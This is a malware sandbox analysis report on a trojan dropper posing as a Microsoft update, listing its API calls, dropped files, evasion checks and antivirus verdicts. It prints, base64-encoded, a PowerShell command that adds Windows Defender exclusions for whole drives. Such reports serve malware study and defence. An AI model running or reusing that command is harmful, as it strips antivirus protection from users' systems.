NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026a7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0266b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02692000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026a5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02675000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0269c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04ba0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02676000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026ac000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02693000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02694000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02695000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02696000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02697000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02698000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02699000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05030000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05031000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05032000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05033000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05034000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05035000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05036000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05037000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05038000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05039000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0503a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0503b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0503c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0503d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0503e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0503f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05040000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05041000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05042000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05043000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05044000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Queries the disk size which could be used to detect virtual machine with small fixed size or dynamic allocation (1 event)

Time & API	Arguments	Status	Return	Repeated
GetDiskFreeSpaceExW Sept. 4, 2023, 7:38 a.m.	total_number_of_free_bytes: 13309988864 free_bytes_available: 13309988864 root_path: C:\ total_number_of_bytes: 34252779520	1	1	0

Creates executable files on the filesystem (3 events)

file	C:\Users\test22\AppData\Roaming\XClient.exe
file	C:\Users\test22\AppData\Roaming\etc.exe
file	C:\Users\test22\AppData\Roaming\VBA65-KB974945-x86-ENU.exe

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline	powershell -EncodedCommand "PAAjAHUAcwBtACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAYQB5ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGkAbQBqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAdgBuACMAPgA="
cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHUAcwBtACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAYQB5ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGkAbQBqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAdgBuACMAPgA="

Drops a binary and executes it (3 events)

file	C:\Users\test22\AppData\Roaming\VBA65-KB974945-x86-ENU.exe
file	C:\Users\test22\AppData\Roaming\XClient.exe
file	C:\Users\test22\AppData\Roaming\etc.exe

Drops an executable to the user AppData folder (2 events)

file	C:\Users\test22\AppData\Roaming\VBA65-KB974945-x86-ENU.exe
file	C:\Users\test22\AppData\Roaming\XClient.exe

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW Sept. 4, 2023, 7:38 a.m.	show_type: 0 filepath_r: powershell parameters: -EncodedCommand "PAAjAHUAcwBtACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAYQB5ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGkAbQBqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAdgBuACMAPgA=" filepath: powershell	1	1	0

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x005d4600', u'virtual_address': u'0x00002000', u'entropy': 7.798276760203175, u'name': u'.rdata', u'virtual_size': u'0x005d44f4'}

entropy

7.7982767602

description

A section with a high entropy has been found

entropy

0.988409636559

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Sept. 4, 2023, 7:38 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW Sept. 4, 2023, 7:38 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

A process performed obfuscation on information about the computer or sent it to a remote location indicative of CnC Traffic/Preperations. (7 events)

Time & API	Arguments	Status	Return
CryptHashData Sept. 4, 2023, 7:38 a.m.	buffer: 127631360test22TEST22-PCMicrosoft Windows NT 6.1.7601 Service Pack 134252779520 hash_handle: 0x0000000000338f30 flags: 0	1	1
CryptHashData Sept. 4, 2023, 7:38 a.m.	buffer: 127631360test22TEST22-PCMicrosoft Windows NT 6.1.7601 Service Pack 134252779520 hash_handle: 0x0000000000338f30 flags: 0	1	1
CryptHashData Sept. 4, 2023, 7:38 a.m.	buffer: 127631360test22TEST22-PCMicrosoft Windows NT 6.1.7601 Service Pack 134252779520 hash_handle: 0x0000000000338f30 flags: 0	1	1
CryptHashData Sept. 4, 2023, 7:38 a.m.	buffer: 127631360test22TEST22-PCMicrosoft Windows NT 6.1.7601 Service Pack 134252779520 hash_handle: 0x0000000000338f30 flags: 0	1	1
CryptHashData Sept. 4, 2023, 7:38 a.m.	buffer: 127631360test22TEST22-PCMicrosoft Windows NT 6.1.7601 Service Pack 134252779520 hash_handle: 0x0000000000338f30 flags: 0	1	1
CryptHashData Sept. 4, 2023, 7:38 a.m.	buffer: 127631360test22TEST22-PCMicrosoft Windows NT 6.1.7601 Service Pack 134252779520 hash_handle: 0x0000000000338f30 flags: 0	1	1
CryptHashData Sept. 4, 2023, 7:38 a.m.	buffer: 127631360test22TEST22-PCMicrosoft Windows NT 6.1.7601 Service Pack 134252779520 hash_handle: 0x0000000000338f30 flags: 0	1	1

The process powershell.exe wrote an executable file to disk (20 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe

File has been identified by 42 AntiVirus engines on VirusTotal as malicious (42 events)

Bkav	W32.AIDetectMalware
Elastic	malicious (high confidence)
MicroWorld-eScan	Gen:Variant.FakeAlert.2
FireEye	Generic.mg.b88cc7ba6a01daf0
ALYac	Gen:Variant.FakeAlert.2
Cylance	unsafe
Sangfor	Trojan.Win32.Save.a
K7AntiVirus	Trojan ( 005a7a3c1 )
K7GW	Trojan ( 005a7a3c1 )
Cyren	W32/Lazy.U.gen!Eldorado
Symantec	ML.Attribute.HighConfidence
ESET-NOD32	a variant of Win32/TrojanDropper.Agent.SRP
Cynet	Malicious (score: 100)
APEX	Malicious
Kaspersky	UDS:Backdoor.Win32.Crysan
BitDefender	Gen:Variant.FakeAlert.2
Avast	Win32:Evo-gen [Trj]
Tencent	Win32.Trojan.Agen.Tgil
Emsisoft	Gen:Variant.FakeAlert.2 (B)
F-Secure	Heuristic.HEUR/AGEN.1340271
VIPRE	Gen:Variant.FakeAlert.2
McAfee-GW-Edition	BehavesLike.Win32.Expiro.tc
Trapmine	malicious.high.ml.score
Sophos	Mal/Generic-S
SentinelOne	Static AI - Suspicious PE
Avira	HEUR/AGEN.1340271
Microsoft	Trojan:MSIL/XWormRAT.C!MTB
Arcabit	Trojan.FakeAlert.2
ZoneAlarm	UDS:Backdoor.Win32.Crysan
GData	Win32.Trojan.PSE.10AFFS0
Google	Detected
AhnLab-V3	Trojan/Win.Ekocit.C5148915
BitDefenderTheta	Gen:NN.ZexaF.36662.@t0@aCgJF3ci
MAX	malware (ai score=85)
VBA32	BScope.Trojan.Nitol
Malwarebytes	Trojan.Dropper.Generic
Rising	Backdoor.DcRat!8.129D9 (TFE:1:BNER4NzZWDL)
Ikarus	Trojan.Win32.Tnega
Fortinet	W32/Tiny.NFR!tr
AVG	Win32:Evo-gen [Trj]
DeepInstinct	MALICIOUS
CrowdStrike	win/malicious_confidence_100% (W)

VBA65-KB974945-x86-EN.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All